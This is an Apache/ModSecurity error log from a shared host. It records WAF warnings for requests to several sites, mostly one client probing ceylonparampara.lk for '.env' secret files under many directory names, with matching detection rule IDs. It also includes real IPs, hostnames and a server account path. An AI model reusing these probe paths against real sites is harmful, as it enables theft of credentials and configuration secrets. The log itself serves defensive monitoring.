[Fri Jul 17 09:26:00.896483 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/public_html/.env"] [unique_id "almn0EkXT4NBqALj2laCZwAAABA"]
[Fri Jul 17 09:26:00.962831 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:01.063531 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:01.070322 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/htdocs/.env"] [unique_id "almn0a14q1EBnanVMYGpbAAAAAk"]
[Fri Jul 17 09:26:01.070650 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/htdocs/.env"] [unique_id "almn0a14q1EBnanVMYGpbAAAAAk"]
[Fri Jul 17 09:26:01.071096 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/htdocs/.env"] [unique_id "almn0a14q1EBnanVMYGpbAAAAAk"]
[Fri Jul 17 09:26:01.240465 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/www/.env"] [unique_id "almn0Yl9vhFBGA6D8l9_pwAAAAw"]
[Fri Jul 17 09:26:01.240893 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/www/.env"] [unique_id "almn0Yl9vhFBGA6D8l9_pwAAAAw"]
[Fri Jul 17 09:26:01.241501 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/www/.env"] [unique_id "almn0Yl9vhFBGA6D8l9_pwAAAAw"]
[Fri Jul 17 09:26:01.277220 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:01.388444 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:01.411168 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/html/.env"] [unique_id "almn0fwooI4qY7Jg93pa0AAAABM"]
[Fri Jul 17 09:26:01.411449 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/html/.env"] [unique_id "almn0fwooI4qY7Jg93pa0AAAABM"]
[Fri Jul 17 09:26:01.411856 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/html/.env"] [unique_id "almn0fwooI4qY7Jg93pa0AAAABM"]
[Fri Jul 17 09:26:01.490788 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:01.592221 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/live/.env"] [unique_id "almn0ejME1mgqYZ5O94rpAAAAAE"]
[Fri Jul 17 09:26:01.592464 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/live/.env"] [unique_id "almn0ejME1mgqYZ5O94rpAAAAAE"]
[Fri Jul 17 09:26:01.592828 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/live/.env"] [unique_id "almn0ejME1mgqYZ5O94rpAAAAAE"]
[Fri Jul 17 09:26:01.749265 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/prod/.env"] [unique_id "almn0fwooI4qY7Jg93pa0QAAABM"]
[Fri Jul 17 09:26:01.749539 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/prod/.env"] [unique_id "almn0fwooI4qY7Jg93pa0QAAABM"]
[Fri Jul 17 09:26:01.749927 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/prod/.env"] [unique_id "almn0fwooI4qY7Jg93pa0QAAABM"]
[Fri Jul 17 09:26:01.786342 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.238:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "tradeceylon.com"] [uri "/seller-backend/rfq"] [unique_id "almn0SRF0UOO1RzB5_8znAAAAA4"]
[Fri Jul 17 09:26:01.786707 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "tradeceylon.com"] [uri "/seller-backend/rfq"] [unique_id "almn0SRF0UOO1RzB5_8znAAAAA4"]
[Fri Jul 17 09:26:01.787001 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "tradeceylon.com"] [uri "/seller-backend/rfq"] [unique_id "almn0SRF0UOO1RzB5_8znAAAAA4"]
[Fri Jul 17 09:26:01.805886 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/bixolon-printers-and-scanners"] [unique_id "almn0a14q1EBnanVMYGpbgAAAAk"]
[Fri Jul 17 09:26:01.806000 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/bixolon-printers-and-scanners"] [unique_id "almn0a14q1EBnanVMYGpbgAAAAk"]
[Fri Jul 17 09:26:01.806376 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/printers-scanners/bixolon-printers-and-scanners"] [unique_id "almn0a14q1EBnanVMYGpbgAAAAk"]
[Fri Jul 17 09:26:01.902483 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:37600] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:01.904779 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/dev/.env"] [unique_id "almn0VCBpfuYyhJ140vYGgAAAB4"]
[Fri Jul 17 09:26:01.905058 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/dev/.env"] [unique_id "almn0VCBpfuYyhJ140vYGgAAAB4"]
[Fri Jul 17 09:26:01.905423 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/dev/.env"] [unique_id "almn0VCBpfuYyhJ140vYGgAAAB4"]
[Fri Jul 17 09:26:02.098168 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/staging/.env"] [unique_id "almn0o1dLClkUfK_dfHqVQAAAAI"]
[Fri Jul 17 09:26:02.098478 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/staging/.env"] [unique_id "almn0o1dLClkUfK_dfHqVQAAAAI"]
[Fri Jul 17 09:26:02.098857 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/staging/.env"] [unique_id "almn0o1dLClkUfK_dfHqVQAAAAI"]
[Fri Jul 17 09:26:02.187394 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/driver/cpu3/subsystem/uevent
[Fri Jul 17 09:26:02.290813 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/opt/.env"] [unique_id "almn0ujME1mgqYZ5O94rpgAAAAE"]
[Fri Jul 17 09:26:02.291078 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/opt/.env"] [unique_id "almn0ujME1mgqYZ5O94rpgAAAAE"]
[Fri Jul 17 09:26:02.291415 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/opt/.env"] [unique_id "almn0ujME1mgqYZ5O94rpgAAAAE"]
[Fri Jul 17 09:26:02.456577 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/laravel/.env"] [unique_id "almn0o1dLClkUfK_dfHqVgAAAAI"]
[Fri Jul 17 09:26:02.456846 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/laravel/.env"] [unique_id "almn0o1dLClkUfK_dfHqVgAAAAI"]
[Fri Jul 17 09:26:02.457230 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/laravel/.env"] [unique_id "almn0o1dLClkUfK_dfHqVgAAAAI"]
[Fri Jul 17 09:26:02.494602 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:02.546349 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn0a14q1EBnanVMYGpbgAAAAk"]
[Fri Jul 17 09:26:02.621931 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/symfony/.env"] [unique_id "almn0l1_86A5R6msWNfZ5gAAABI"]
[Fri Jul 17 09:26:02.622199 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/symfony/.env"] [unique_id "almn0l1_86A5R6msWNfZ5gAAABI"]
[Fri Jul 17 09:26:02.622621 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/symfony/.env"] [unique_id "almn0l1_86A5R6msWNfZ5gAAABI"]
[Fri Jul 17 09:26:02.696147 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:02.797990 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
